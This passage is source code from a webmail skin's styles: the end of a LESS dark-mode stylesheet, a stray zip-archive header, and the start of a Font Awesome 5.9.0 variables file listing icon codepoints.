    }

    .message-part {
        span.sig {
            color: @color-dark-hint;
        }
    }

    .message-htmlpart {
        background-color: white;
        color: @color-font;
        padding: 0;
        margin-top: .5rem;
    }

    #message-header .header-headers .header-title {
        color: @color-dark-font;
        font-weight: normal;
    }

    .message-partheaders {
        background-color: @color-dark-list-selected-background;
        border: 0;

        table.headers-table {
            color: @color-dark-font;

            * {
                font-weight: normal;
            }
        }
    }

    // this is when image thumbnails are enabled
    p.image-attachment {
        border-color: @color-dark-border;
        background-color: @color-dark-list-selected-background;

        span {
            color: @color-dark-hint;
        }
    }

    // this is when image thumbnails are disabled
    fieldset.image-attachment {
        legend {
            color: @color-dark-hint;
            border-color: @color-dark-border;
        }
    }

    // Attachment preview
    #messagepartframe {
        background: #fff;
    }

    // ----------------------------------
    // jQuery-UI widgets' style overrides
    // ----------------------------------

    .ui-widget {
        border-color: @color-dark-border;
    }

    .ui-widget-overlay {
        background-color: @color-dark-dialog-overlay-background;
    }

    .ui-widget-header,
    .ui-widget-content {
        background-color: @color-dark-background;
    }

    .ui-dialog {
        .ui-dialog-titlebar {
            border-color: @color-dark-border;
        }

        .ui-dialog-title,
        .ui-dialog-titlebar-close {
            color: @color-dark-font;
            background: transparent;
        }

        .ui-dialog-buttonpane {
            border-color: @color-dark-border;

            .ui-dialog-buttonset {
                a.btn-link {
                    color: @color-dark-font;

                    &:focus {
                        background: transparent;
                    }
                }

                @media screen and (max-width: @screen-width-xs) {
                    button.btn-primary:not(.btn-danger),
                    button.btn-secondary {
                        color: @color-dark-font;
                    }
                }
            }
        }
    }

    .ui-datepicker {
        .ui-datepicker-header {
            border-color: @color-dark-border;
        }

        th {
            color: @color-dark-hint;
            font-size: 80%;
            font-weight: normal;
        }

        .ui-datepicker-prev,
        .ui-datepicker-next,
        .ui-state-default,
        &.ui-widget-content .ui-state-default {
            color: @color-dark-font;
        }

        .ui-state-highlight,
        &.ui-widget-content .ui-state-highlight {
            color: @color-main;
            background-color: @color-dark-list-selected-background;
        }

        .ui-datepicker-days-cell-over a {
            background-color: lighten(@color-dark-list-selected-background, 10%);
        }
    }

    .ui-menu {
        background-color: @color-dark-popover-background;
        border-color: @color-dark-popover-border;
        box-shadow: none;

        .ui-menu-item {
            border-bottom: 1px solid @color-dark-list-border;
        }

        .ui-state-active {
            background-color: @color-dark-list-selected-background !important;
        }
    }

    .minicolors-panel {
        box-shadow: none;
        border-color: @color-dark-border;
        background: @color-dark-popover-background;
    }

    // ---------------------------------
    // Other components
    // ---------------------------------

    ::placeholder,
    ::-webkit-input-placeholder, // Edge
    .listing-info,
    .listing span.secondary,
    .file-upload .hint,
    .contactlist span.email,
    #login-footer,
    #contacthead.readonly .source.row,
    .formcontent .hint {
        font-weight: normal;
        color: @color-dark-hint;
    }

    .popover {
        background-color: @color-dark-popover-background;
        border-color: @color-dark-popover-border;
        box-shadow: none;

        .menu li.separator {
            background-color: transparent;
            color: darken(@color-dark-font, 20%);
        }

        .menu ul + li.separator {
            border-top: 1px solid @color-dark-list-border;
        }
    }

    .popover-body {
        color: @color-dark-font;
    }

    .bs-popover-auto[x-placement^="right"] > .arrow::after,
    .bs-popover-right > .arrow::after {
        border-right-color: @color-dark-popover-border;
    }

    .bs-popover-auto[x-placement^="left"] > .arrow::after,
    .bs-popover-left > .arrow::after {
        border-left-color: @color-dark-popover-border;
    }

    .bs-popover-auto[x-placement^="top"] > .arrow::after,
    .bs-popover-top > .arrow::after {
        border-top-color: @color-dark-popover-border;
    }

    .bs-popover-auto[x-placement^="bottom"] > .arrow::after,
    .bs-popover-bottom > .arrow::after {
        border-bottom-color: @color-dark-popover-border;
    }

    .nav-tabs {
        border-color: @color-dark-border;

        .nav-link {
            color: @color-dark-font;
            border-color: transparent;
            border-bottom-color: @color-dark-border;
        }

        .nav-link:hover {
            background: @color-dark-background;
            border-color: @color-dark-border;
            color: @color-dark-font;
        }

        .nav-link.active {
            background: @color-dark-background;
            border-color: @color-dark-border;
            border-bottom-color: transparent;
            color: #fff;
        }
    }

    .table {
        color: @color-dark-font;

        td,
        th,
        thead th {
            border-color: @color-dark-border;
        }
    }

    .table-widget {
        border-color: @color-dark-border;

        & > .footer {
            border-color: @color-dark-border;
        }

        // Options table is a table with first column for identifier/description
        // and other columns for a state flag. E.g. ACL table
        table.options-table {
            tr:last-child td {
                border-color: @color-dark-border;
            }

            tr.selected td {
                background-color: @color-dark-list-selected-background;
                color: @color-dark-font;
            }
        }
    }

    #rcmdraglayer {
        background-color: @color-dark-popover-background;
        border: 1px solid @color-dark-popover-border;
        box-shadow: none;
        color: @color-dark-font;
    }

    .quota-widget {
        color: unset;

        .bar {
            border-color: @color-dark-border;
            background-color: @color-dark-border;
        }
    }

    .quota-info {
        .root {
            color: @color-dark-hint;
            background-color: transparent;
        }
    }

    img.contactphoto,
    #contactpic {
        background-color: @color-dark-list-selected-background !important;
    }

    .pgpkeyimport {
        div.key.revoked,
        div.key.disabled {
            color: @color-dark-list-deleted;
        }

        li.uid::before {
            opacity: 1;
        }
    }
}
PKh�\�x9l����%skins/elastic/styles/fontawesome.lessnu�[���// Variables
// --------------------------

@fa-font-path:        "../webfonts";
@fa-font-size-base:   16px;
@fa-font-display:     auto;
@fa-line-height-base: 1;
@fa-css-prefix:       fa;
@fa-version:          "5.9.0";
@fa-border-color:     #eee;
@fa-inverse:          #fff;
@fa-li-width:         2em;

@fa-var-500px: "\f26e";
@fa-var-accessible-icon: "\f368";
@fa-var-accusoft: "\f369";
@fa-var-acquisitions-incorporated: "\f6af";
@fa-var-ad: "\f641";
@fa-var-address-book: "\f2b9";
@fa-var-address-card: "\f2bb";
@fa-var-adjust: "\f042";
@fa-var-adn: "\f170";
@fa-var-adobe: "\f778";
@fa-var-adversal: "\f36a";
@fa-var-affiliatetheme: "\f36b";
@fa-var-air-freshener: "\f5d0";
@fa-var-airbnb: "\f834";
@fa-var-algolia: "\f36c";
@fa-var-align-center: "\f037";
@fa-var-align-justify: "\f039";
@fa-var-align-left: "\f036";
@fa-var-align-right: "\f038";
@fa-var-alipay: "\f642";
@fa-var-allergies: "\f461";
@fa-var-amazon: "\f270";
@fa-var-amazon-pay: "\f42c";
@fa-var-ambulance: "\f0f9";
@fa-var-american-sign-language-interpreting: "\f2a3";
@fa-var-amilia: "\f36d";
@fa-var-anchor: "\f13d";
@fa-var-android: "\f17b";
@fa-var-angellist: "\f209";
@fa-var-angle-double-down: "\f103";
@fa-var-angle-double-left: "\f100";
@fa-var-angle-double-right: "\f101";
@fa-var-angle-double-up: "\f102";
@fa-var-angle-down: "\f107";
@fa-var-angle-left: "\f104";
@fa-var-angle-right: "\f105";
@fa-var-angle-up: "\f106";
@fa-var-angry: "\f556";
@fa-var-angrycreative: "\f36e";
@fa-var-angular: "\f420";
@fa-var-ankh: "\f644";
@fa-var-app-store: "\f36f";
@fa-var-app-store-ios: "\f370";
@fa-var-apper: "\f371";
@fa-var-apple: "\f179";
@fa-var-apple-alt: "\f5d1";
@fa-var-apple-pay: "\f415";
@fa-var-archive: "\f187";
@fa-var-archway: "\f557";
@fa-var-arrow-alt-circle-down: "\f358";
@fa-var-arrow-alt-circle-left: "\f359";
@fa-var-arrow-alt-circle-right: "\f35a";
@fa-var-arrow-alt-circle-up: "\f35b";
@fa-var-arrow-circle-down: "\f0ab";
@fa-var-arrow-circle-left: "\f0a8";
@fa-var-arrow-circle-right: "\f0a9";
@fa-var-arrow-circle-up: "\f0aa";
@fa-var-arrow-down: "\f063";
@fa-var-arrow-left: "\f060";
@fa-var-arrow-right: "\f061";
@fa-var-arrow-up: "\f062";
@fa-var-arrows-alt: "\f0b2";
@fa-var-arrows-alt-h: "\f337";
@fa-var-arrows-alt-v: "\f338";
@fa-var-artstation: "\f77a";
@fa-var-assistive-listening-systems: "\f2a2";
@fa-var-asterisk: "\f069";
@fa-var-asymmetrik: "\f372";
@fa-var-at: "\f1fa";
@fa-var-atlas: "\f558";
@fa-var-atlassian: "\f77b";
@fa-var-atom: "\f5d2";
@fa-var-audible: "\f373";
@fa-var-audio-description: "\f29e";
@fa-var-autoprefixer: "\f41c";
@fa-var-avianex: "\f374";
@fa-var-aviato: "\f421";
@fa-var-award: "\f559";
@fa-var-aws: "\f375";
@fa-var-baby: "\f77c";
@fa-var-baby-carriage: "\f77d";
@fa-var-backspace: "\f55a";
@fa-var-backward: "\f04a";
@fa-var-bacon: "\f7e5";
@fa-var-balance-scale: "\f24e";
@fa-var-balance-scale-left: "\f515";
@fa-var-balance-scale-right: "\f516";
@fa-var-ban: "\f05e";
@fa-var-band-aid: "\f462";
@fa-var-bandcamp: "\f2d5";
@fa-var-barcode: "\f02a";
@fa-var-bars: "\f0c9";
@fa-var-baseball-ball: "\f433";
@fa-var-basketball-ball: "\f434";
@fa-var-bath: "\f2cd";
@fa-var-battery-empty: "\f244";
@fa-var-battery-full: "\f240";
@fa-var-battery-half: "\f242";
@fa-var-battery-quarter: "\f243";
@fa-var-battery-three-quarters: "\f241";
@fa-var-battle-net: "\f835";
@fa-var-bed: "\f236";
@fa-var-beer: "\f0fc";
@fa-var-behance: "\f1b4";
@fa-var-behance-square: "\f1b5";
@fa-var-bell: "\f0f3";
@fa-var-bell-slash: "\f1f6";
@fa-var-bezier-curve: "\f55b";
@fa-var-bible: "\f647";
@fa-var-bicycle: "\f206";
@fa-var-biking: "\f84a";
@fa-var-bimobject: "\f378";
@fa-var-binoculars: "\f1e5";
@fa-var-biohazard: "\f780";
@fa-var-birthday-cake: "\f1fd";
@fa-var-bitbucket: "\f171";
@fa-var-bitcoin: "\f379";
@fa-var-bity: "\f37a";
@fa-var-black-tie: "\f27e";
@fa-var-blackberry: "\f37b";
@fa-var-blender: "\f517";
@fa-var-blender-phone: "\f6b6";
@fa-var-blind: "\f29d";
@fa-var-blog: "\f781";
@fa-var-blogger: "\f37c";
@fa-var-blogger-b: "\f37d";
@fa-var-bluetooth: "\f293";
@fa-var-bluetooth-b: "\f294";
@fa-var-bold: "\f032";
@fa-var-bolt: "\f0e7";
@fa-var-bomb: "\f1e2";
@fa-var-bone: "\f5d7";
@fa-var-bong: "\f55c";
@fa-var-book: "\f02d";
@fa-var-book-dead: "\f6b7";
@fa-var-book-medical: "\f7e6";
@fa-var-book-open: "\f518";
@fa-var-book-reader: "\f5da";
@fa-var-bookmark: "\f02e";
@fa-var-bootstrap: "\f836";
@fa-var-border-all: "\f84c";
@fa-var-border-none: "\f850";
@fa-var-border-style: "\f853";
@fa-var-bowling-ball: "\f436";
@fa-var-box: "\f466";
@fa-var-box-open: "\f49e";
@fa-var-boxes: "\f468";
@fa-var-braille: "\f2a1";
@fa-var-brain: "\f5dc";
@fa-var-bread-slice: "\f7ec";
@fa-var-briefcase: "\f0b1";
@fa-var-briefcase-medical: "\f469";
@fa-var-broadcast-tower: "\f519";
@fa-var-broom: "\f51a";
@fa-var-brush: "\f55d";
@fa-var-btc: "\f15a";
@fa-var-buffer: "\f837";
@fa-var-bug: "\f188";
@fa-var-building: "\f1ad";
@fa-var-bullhorn: "\f0a1";
@fa-var-bullseye: "\f140";
@fa-var-burn: "\f46a";
@fa-var-buromobelexperte: "\f37f";
@fa-var-bus: "\f207";
@fa-var-bus-alt: "\f55e";
@fa-var-business-time: "\f64a";
@fa-var-buysellads: "\f20d";
@fa-var-calculator: "\f1ec";
@fa-var-calendar: "\f133";
@fa-var-calendar-alt: "\f073";
@fa-var-calendar-check: "\f274";
@fa-var-calendar-day: "\f783";
@fa-var-calendar-minus: "\f272";
@fa-var-calendar-plus: "\f271";
@fa-var-calendar-times: "\f273";
@fa-var-calendar-week: "\f784";
@fa-var-camera: "\f030";
@fa-var-camera-retro: "\f083";
@fa-var-campground: "\f6bb";
@fa-var-canadian-maple-leaf: "\f785";
@fa-var-candy-cane: "\f786";
@fa-var-cannabis: "\f55f";
@fa-var-capsules: "\f46b";
@fa-var-car: "\f1b9";
@fa-var-car-alt: "\f5de";
@fa-var-car-battery: "\f5df";
@fa-var-car-crash: "\f5e1";
@fa-var-car-side: "\f5e4";
@fa-var-caret-down: "\f0d7";
@fa-var-caret-left: "\f0d9";
@fa-var-caret-right: "\f0da";
@fa-var-caret-square-down: "\f150";
@fa-var-caret-square-left: "\f191";
@fa-var-caret-square-right: "\f152";
@fa-var-caret-square-up: "\f151";
@fa-var-caret-up: "\f0d8";
@fa-var-carrot: "\f787";
@fa-var-cart-arrow-down: "\f218";
@fa-var-cart-plus: "\f217";
@fa-var-cash-register: "\f788";
@fa-var-cat: "\f6be";
@fa-var-cc-amazon-pay: "\f42d";
@fa-var-cc-amex: "\f1f3";
@fa-var-cc-apple-pay: "\f416";
@fa-var-cc-diners-club: "\f24c";
@fa-var-cc-discover: "\f1f2";
@fa-var-cc-jcb: "\f24b";
@fa-var-cc-mastercard: "\f1f1";
@fa-var-cc-paypal: "\f1f4";
@fa-var-cc-stripe: "\f1f5";
@fa-var-cc-visa: "\f1f0";
@fa-var-centercode: "\f380";
@fa-var-centos: "\f789";
@fa-var-certificate: "\f0a3";
@fa-var-chair: "\f6c0";
@fa-var-chalkboard: "\f51b";
@fa-var-chalkboard-teacher: "\f51c";
@fa-var-charging-station: "\f5e7";
@fa-var-chart-area: "\f1fe";
@fa-var-chart-bar: "\f080";
@fa-var-chart-line: "\f201";
@fa-var-chart-pie: "\f200";
@fa-var-check: "\f00c";
@fa-var-check-circle: "\f058";
@fa-var-check-double: "\f560";
@fa-var-check-square: "\f14a";
@fa-var-cheese: "\f7ef";
@fa-var-chess: "\f439";
@fa-var-chess-bishop: "\f43a";
@fa-var-chess-board: "\f43c";
@fa-var-chess-king: "\f43f";
@fa-var-chess-knight: "\f441";
@fa-var-chess-pawn: "\f443";
@fa-var-chess-queen: "\f445";
@fa-var-chess-rook: "\f447";
@fa-var-chevron-circle-down: "\f13a";
@fa-var-chevron-circle-left: "\f137";
@fa-var-chevron-circle-right: "\f138";
@fa-var-chevron-circle-up: "\f139";
@fa-var-chevron-down: "\f078";
@fa-var-chevron-left: "\f053";
@fa-var-chevron-right: "\f054";
@fa-var-chevron-up: "\f077";
@fa-var-child: "\f1ae";
@fa-var-chrome: "\f268";
@fa-var-chromecast: "\f838";
@fa-var-church: "\f51d";
@fa-var-circle: "\f111";
@fa-var-circle-notch: "\f1ce";
@fa-var-city: "\f64f";
@fa-var-clinic-medical: "\f7f2";
@fa-var-clipboard: "\f328";
@fa-var-clipboard-check: "\f46c";
@fa-var-clipboard-list: "\f46d";
@fa-var-clock: "\f017";
@fa-var-clone: "\f24d";
@fa-var-closed-captioning: "\f20a";
@fa-var-cloud: "\f0c2";
@fa-var-cloud-download-alt: "\f381";
@fa-var-cloud-meatball: "\f73b";
@fa-var-cloud-moon: "\f6c3";
@fa-var-cloud-moon-rain: "\f73c";
@fa-var-cloud-rain: "\f73d";
@fa-var-cloud-showers-heavy: "\f740";
@fa-var-cloud-sun: "\f6c4";
@fa-var-cloud-sun-rain: "\f743";
@fa-var-cloud-upload-alt: "\f382";
@fa-var-cloudscale: "\f383";
@fa-var-cloudsmith: "\f384";
@fa-var-cloudversify: "\f385";
@fa-var-cocktail: "\f561";
@fa-var-code: "\f121";
@fa-var-code-branch: "\f126";
@fa-var-codepen: "\f1cb";
@fa-var-codiepie: "\f284";
@fa-var-coffee: "\f0f4";
@fa-var-cog: "\f013";
@fa-var-cogs: "\f085";
@fa-var-coins: "\f51e";
@fa-var-columns: "\f0db";
@fa-var-comment: "\f075";
@fa-var-comment-alt: "\f27a";
@fa-var-comment-dollar: "\f651";
@fa-var-comment-dots: "\f4ad";
@fa-var-comment-medical: "\f7f5";
@fa-var-comment-slash: "\f4b3";
@fa-var-comments: "\f086";
@fa-var-comments-dollar: "\f653";
@fa-var-compact-disc: "\f51f";
@fa-var-compass: "\f14e";
@fa-var-compress: "\f066";
@fa-var-compress-arrows-alt: "\f78c";
@fa-var-concierge-bell: "\f562";
@fa-var-confluence: "\f78d";
@fa-var-connectdevelop: "\f20e";
@fa-var-contao: "\f26d";
@fa-var-cookie: "\f563";
@fa-var-cookie-bite: "\f564";
@fa-var-copy: "\f0c5";
@fa-var-copyright: "\f1f9";
@fa-var-couch: "\f4b8";
@fa-var-cpanel: "\f388";
@fa-var-creative-commons: "\f25e";
@fa-var-creative-commons-by: "\f4e7";
@fa-var-creative-commons-nc: "\f4e8";
@fa-var-creative-commons-nc-eu: "\f4e9";
@fa-var-creative-commons-nc-jp: "\f4ea";
@fa-var-creative-commons-nd: "\f4eb";
@fa-var-creative-commons-pd: "\f4ec";
@fa-var-creative-commons-pd-alt: "\f4ed";
@fa-var-creative-commons-remix: "\f4ee";
@fa-var-creative-commons-sa: "\f4ef";
@fa-var-creative-commons-sampling: "\f4f0";
@fa-var-creative-commons-sampling-plus: "\f4f1";
@fa-var-creative-commons-share: "\f4f2";
@fa-var-creative-commons-zero: "\f4f3";
@fa-var-credit-card: "\f09d";
@fa-var-critical-role: "\f6c9";
@fa-var-crop: "\f125";
@fa-var-crop-alt: "\f565";
@fa-var-cross: "\f654";
@fa-var-crosshairs: "\f05b";
@fa-var-crow: "\f520";
@fa-var-crown: "\f521";
@fa-var-crutch: "\f7f7";
@fa-var-css3: "\f13c";
@fa-var-css3-alt: "\f38b";
@fa-var-cube: "\f1b2";
@fa-var-cubes: "\f1b3";
@fa-var-cut: "\f0c4";
@fa-var-cuttlefish: "\f38c";
@fa-var-d-and-d: "\f38d";
@fa-var-d-and-d-beyond: "\f6ca";
@fa-var-dashcube: "\f210";
@fa-var-database: "\f1c0";
@fa-var-deaf: "\f2a4";
@fa-var-delicious: "\f1a5";
@fa-var-democrat: "\f747";
@fa-var-deploydog: "\f38e";
@fa-var-deskpro: "\f38f";
@fa-var-desktop: "\f108";
@fa-var-dev: "\f6cc";
@fa-var-deviantart: "\f1bd";
@fa-var-dharmachakra: "\f655";
@fa-var-dhl: "\f790";
@fa-var-diagnoses: "\f470";
@fa-var-diaspora: "\f791";
@fa-var-dice: "\f522";
@fa-var-dice-d20: "\f6cf";
@fa-var-dice-d6: "\f6d1";
@fa-var-dice-five: "\f523";
@fa-var-dice-four: "\f524";
@fa-var-dice-one: "\f525";
@fa-var-dice-six: "\f526";
@fa-var-dice-three: "\f527";
@fa-var-dice-two: "\f528";
@fa-var-digg: "\f1a6";
@fa-var-digital-ocean: "\f391";
@fa-var-digital-tachograph: "\f566";
@fa-var-directions: "\f5eb";
@fa-var-discord: "\f392";
@fa-var-discourse: "\f393";
@fa-var-divide: "\f529";
@fa-var-dizzy: "\f567";
@fa-var-dna: "\f471";
@fa-var-dochub: "\f394";
@fa-var-docker: "\f395";
@fa-var-dog: "\f6d3";
@fa-var-dollar-sign: "\f155";
@fa-var-dolly: "\f472";
@fa-var-dolly-flatbed: "\f474";
@fa-var-donate: "\f4b9";
@fa-var-door-closed: "\f52a";
@fa-var-door-open: "\f52b";
@fa-var-dot-circle: "\f192";
@fa-var-dove: "\f4ba";
@fa-var-download: "\f019";
@fa-var-draft2digital: "\f396";
@fa-var-drafting-compass: "\f568";
@fa-var-dragon: "\f6d5";
@fa-var-draw-polygon: "\f5ee";
@fa-var-dribbble: "\f17d";
@fa-var-dribbble-square: "\f397";
@fa-var-dropbox: "\f16b";
@fa-var-drum: "\f569";
@fa-var-drum-steelpan: "\f56a";
@fa-var-drumstick-bite: "\f6d7";
@fa-var-drupal: "\f1a9";
@fa-var-dumbbell: "\f44b";
@fa-var-dumpster: "\f793";
@fa-var-dumpster-fire: "\f794";
@fa-var-dungeon: "\f6d9";
@fa-var-dyalog: "\f399";
@fa-var-earlybirds: "\f39a";
@fa-var-ebay: "\f4f4";
@fa-var-edge: "\f282";
@fa-var-edit: "\f044";
@fa-var-egg: "\f7fb";
@fa-var-eject: "\f052";
@fa-var-elementor: "\f430";
@fa-var-ellipsis-h: "\f141";
@fa-var-ellipsis-v: "\f142";
@fa-var-ello: "\f5f1";
@fa-var-ember: "\f423";
@fa-var-empire: "\f1d1";
@fa-var-envelope: "\f0e0";
@fa-var-envelope-open: "\f2b6";
@fa-var-envelope-open-text: "\f658";
@fa-var-envelope-square: "\f199";
@fa-var-envira: "\f299";
@fa-var-equals: "\f52c";
@fa-var-eraser: "\f12d";
@fa-var-erlang: "\f39d";
@fa-var-ethereum: "\f42e";
@fa-var-ethernet: "\f796";
@fa-var-etsy: "\f2d7";
@fa-var-euro-sign: "\f153";
@fa-var-evernote: "\f839";
@fa-var-exchange-alt: "\f362";
@fa-var-exclamation: "\f12a";
@fa-var-exclamation-circle: "\f06a";
@fa-var-exclamation-triangle: "\f071";
@fa-var-expand: "\f065";
@fa-var-expand-arrows-alt: "\f31e";
@fa-var-expeditedssl: "\f23e";
@fa-var-external-link-alt: "\f35d";
@fa-var-external-link-square-alt: "\f360";
@fa-var-eye: "\f06e";
@fa-var-eye-dropper: "\f1fb";
@fa-var-eye-slash: "\f070";
@fa-var-facebook: "\f09a";
@fa-var-facebook-f: "\f39e";
@fa-var-facebook-messenger: "\f39f";
@fa-var-facebook-square: "\f082";
@fa-var-fan: "\f863";
@fa-var-fantasy-flight-games: "\f6dc";
@fa-var-fast-backward: "\f049";
@fa-var-fast-forward: "\f050";
@fa-var-fax: "\f1ac";
@fa-var-feather: "\f52d";
@fa-var-feather-alt: "\f56b";
@fa-var-fedex: "\f797";
@fa-var-fedora: "\f798";
@fa-var-female: "\f182";
@fa-var-fighter-jet: "\f0fb";
@fa-var-figma: "\f799";
@fa-var-file: "\f15b";
@fa-var-file-alt: "\f15c";
@fa-var-file-archive: "\f1c6";
@fa-var-file-audio: "\f1c7";
@fa-var-file-code: "\f1c9";
@fa-var-file-contract: "\f56c";
@fa-var-file-csv: "\f6dd";
@fa-var-file-download: "\f56d";
@fa-var-file-excel: "\f1c3";
@fa-var-file-export: "\f56e";
@fa-var-file-image: "\f1c5";
@fa-var-file-import: "\f56f";
@fa-var-file-invoice: "\f570";
@fa-var-file-invoice-dollar: "\f571";
@fa-var-file-medical: "\f477";
@fa-var-file-medical-alt: "\f478";
@fa-var-file-pdf: "\f1c1";
@fa-var-file-powerpoint: "\f1c4";
@fa-var-file-prescription: "\f572";
@fa-var-file-signature: "\f573";
@fa-var-file-upload: "\f574";
@fa-var-file-video: "\f1c8";
@fa-var-file-word: "\f1c2";
@fa-var-fill: "\f575";
@fa-var-fill-drip: "\f576";
@fa-var-film: "\f008";
@fa-var-filter: "\f0b0";
@fa-var-fingerprint: "\f577";
@fa-var-fire: "\f06d";
@fa-var-fire-alt: "\f7e4";
@fa-var-fire-extinguisher: "\f134";
@fa-var-firefox: "\f269";
@fa-var-first-aid: "\f479";
@fa-var-first-order: "\f2b0";
@fa-var-first-order-alt: "\f50a";
@fa-var-firstdraft: "\f3a1";
@fa-var-fish: "\f578";
@fa-var-fist-raised: "\f6de";
@fa-var-flag: "\f024";
@fa-var-flag-checkered: "\f11e";
@fa-var-flag-usa: "\f74d";
@fa-var-flask: "\f0c3";
@fa-var-flickr: "\f16e";
@fa-var-flipboard: "\f44d";
@fa-var-flushed: "\f579";
@fa-var-fly: "\f417";
@fa-var-folder: "\f07b";
@fa-var-folder-minus: "\f65d";
@fa-var-folder-open: "\f07c";
@fa-var-folder-plus: "\f65e";
@fa-var-font: "\f031";
@fa-var-font-awesome: "\f2b4";
@fa-var-font-awesome-alt: "\f35c";
@fa-var-font-awesome-flag: "\f425";
@fa-var-font-awesome-logo-full: "\f4e6";
@fa-var-fonticons: "\f280";
@fa-var-fonticons-fi: "\f3a2";
@fa-var-football-ball: "\f44e";
@fa-var-fort-awesome: "\f286";
@fa-var-fort-awesome-alt: "\f3a3";
@fa-var-forumbee: "\f211";
@fa-var-forward: "\f04e";
@fa-var-foursquare: "\f180";
@fa-var-free-code-camp: "\f2c5";
@fa-var-freebsd: "\f3a4";
@fa-var-frog: "\f52e";
@fa-var-frown: "\f119";
@fa-var-frown-open: "\f57a";
@fa-var-fulcrum: "\f50b";
@fa-var-funnel-dollar: "\f662";
@fa-var-futbol: "\f1e3";
@fa-var-galactic-republic: "\f50c";
@fa-var-galactic-senate: "\f50d";
@fa-var-gamepad: "\f11b";
@fa-var-gas-pump: "\f52f";
@fa-var-gavel: "\f0e3";
@fa-var-gem: "\f3a5";
@fa-var-genderless: "\f22d";
@fa-var-get-pocket: "\f265";
@fa-var-gg: "\f260";
@fa-var-gg-circle: "\f261";
@fa-var-ghost: "\f6e2";
@fa-var-gift: "\f06b";
@fa-var-gifts: "\f79c";
@fa-var-git: "\f1d3";
@fa-var-git-alt: "\f841";
@fa-var-git-square: "\f1d2";
@fa-var-github: "\f09b";
@fa-var-github-alt: "\f113";
@fa-var-github-square: "\f092";
@fa-var-gitkraken: "\f3a6";
@fa-var-gitlab: "\f296";
@fa-var-gitter: "\f426";
@fa-var-glass-cheers: "\f79f";
@fa-var-glass-martini: "\f000";
@fa-var-glass-martini-alt: "\f57b";
@fa-var-glass-whiskey: "\f7a0";
@fa-var-glasses: "\f530";
@fa-var-glide: "\f2a5";
@fa-var-glide-g: "\f2a6";
@fa-var-globe: "\f0ac";
@fa-var-globe-africa: "\f57c";
@fa-var-globe-americas: "\f57d";
@fa-var-globe-asia: "\f57e";
@fa-var-globe-europe: "\f7a2";
@fa-var-gofore: "\f3a7";
@fa-var-golf-ball: "\f450";
@fa-var-goodreads: "\f3a8";
@fa-var-goodreads-g: "\f3a9";
@fa-var-google: "\f1a0";
@fa-var-google-drive: "\f3aa";
@fa-var-google-play: "\f3ab";
@fa-var-google-plus: "\f2b3";
@fa-var-google-plus-g: "\f0d5";
@fa-var-google-plus-square: "\f0d4";
@fa-var-google-wallet: "\f1ee";
@fa-var-gopuram: "\f664";
@fa-var-graduation-cap: "\f19d";
@fa-var-gratipay: "\f184";
@fa-var-grav: "\f2d6";
@fa-var-greater-than: "\f531";
@fa-var-greater-than-equal: "\f532";
@fa-var-grimace: "\f57f";
@fa-var-grin: "\f580";
@fa-var-grin-alt: "\f581";
@fa-var-grin-beam: "\f582";
@fa-var-grin-beam-sweat: "\f583";
@fa-var-grin-hearts: "\f584";
@fa-var-grin-squint: "\f585";
@fa-var-grin-squint-tears: "\f586";
@fa-var-grin-stars: "\f587";
@fa-var-grin-tears: "\f588";
@fa-var-grin-tongue: "\f589";
@fa-var-grin-tongue-squint: "\f58a";
@fa-var-grin-tongue-wink: "\f58b";
@fa-var-grin-wink: "\f58c";
@fa-var-grip-horizontal: "\f58d";
@fa-var-grip-lines: "\f7a4";
@fa-var-grip-lines-vertical: "\f7a5";
@fa-var-grip-vertical: "\f58e";
@fa-var-gripfire: "\f3ac";
@fa-var-grunt: "\f3ad";
@fa-var-guitar: "\f7a6";
@fa-var-gulp: "\f3ae";
@fa-var-h-square: "\f0fd";
@fa-var-hacker-news: "\f1d4";
@fa-var-hacker-news-square: "\f3af";
@fa-var-hackerrank: "\f5f7";
@fa-var-hamburger: "\f805";
@fa-var-hammer: "\f6e3";
@fa-var-hamsa: "\f665";
@fa-var-hand-holding: "\f4bd";
@fa-var-hand-holding-heart: "\f4be";
@fa-var-hand-holding-usd: "\f4c0";
@fa-var-hand-lizard: "\f258";
@fa-var-hand-middle-finger: "\f806";
@fa-var-hand-paper: "\f256";
@fa-var-hand-peace: "\f25b";
@fa-var-hand-point-down: "\f0a7";
@fa-var-hand-point-left: "\f0a5";
@fa-var-hand-point-right: "\f0a4";
@fa-var-hand-point-up: "\f0a6";
@fa-var-hand-pointer: "\f25a";
@fa-var-hand-rock: "\f255";
@fa-var-hand-scissors: "\f257";
@fa-var-hand-spock: "\f259";
@fa-var-hands: "\f4c2";
@fa-var-hands-helping: "\f4c4";
@fa-var-handshake: "\f2b5";
@fa-var-hanukiah: "\f6e6";
@fa-var-hard-hat: "\f807";
@fa-var-hashtag: "\f292";
@fa-var-hat-wizard: "\f6e8";
@fa-var-haykal: "\f666";
@fa-var-hdd: "\f0a0";
@fa-var-heading: "\f1dc";
@fa-var-headphones: "\f025";
@fa-var-headphones-alt: "\f58f";
@fa-var-headset: "\f590";
@fa-var-heart: "\f004";
@fa-var-heart-broken: "\f7a9";
@fa-var-heartbeat: "\f21e";
@fa-var-helicopter: "\f533";
@fa-var-highlighter: "\f591";
@fa-var-hiking: "\f6ec";
@fa-var-hippo: "\f6ed";
@fa-var-hips: "\f452";
@fa-var-hire-a-helper: "\f3b0";
@fa-var-history: "\f1da";
@fa-var-hockey-puck: "\f453";
@fa-var-holly-berry: "\f7aa";
@fa-var-home: "\f015";
@fa-var-hooli: "\f427";
@fa-var-hornbill: "\f592";
@fa-var-horse: "\f6f0";
@fa-var-horse-head: "\f7ab";
@fa-var-hospital: "\f0f8";
@fa-var-hospital-alt: "\f47d";
@fa-var-hospital-symbol: "\f47e";
@fa-var-hot-tub: "\f593";
@fa-var-hotdog: "\f80f";
@fa-var-hotel: "\f594";
@fa-var-hotjar: "\f3b1";
@fa-var-hourglass: "\f254";
@fa-var-hourglass-end: "\f253";
@fa-var-hourglass-half: "\f252";
@fa-var-hourglass-start: "\f251";
@fa-var-house-damage: "\f6f1";
@fa-var-houzz: "\f27c";
@fa-var-hryvnia: "\f6f2";
@fa-var-html5: "\f13b";
@fa-var-hubspot: "\f3b2";
@fa-var-i-cursor: "\f246";
@fa-var-ice-cream: "\f810";
@fa-var-icicles: "\f7ad";
@fa-var-icons: "\f86d";
@fa-var-id-badge: "\f2c1";
@fa-var-id-card: "\f2c2";
@fa-var-id-card-alt: "\f47f";
@fa-var-igloo: "\f7ae";
@fa-var-image: "\f03e";
@fa-var-images: "\f302";
@fa-var-imdb: "\f2d8";
@fa-var-inbox: "\f01c";
@fa-var-indent: "\f03c";
@fa-var-industry: "\f275";
@fa-var-infinity: "\f534";
@fa-var-info: "\f129";
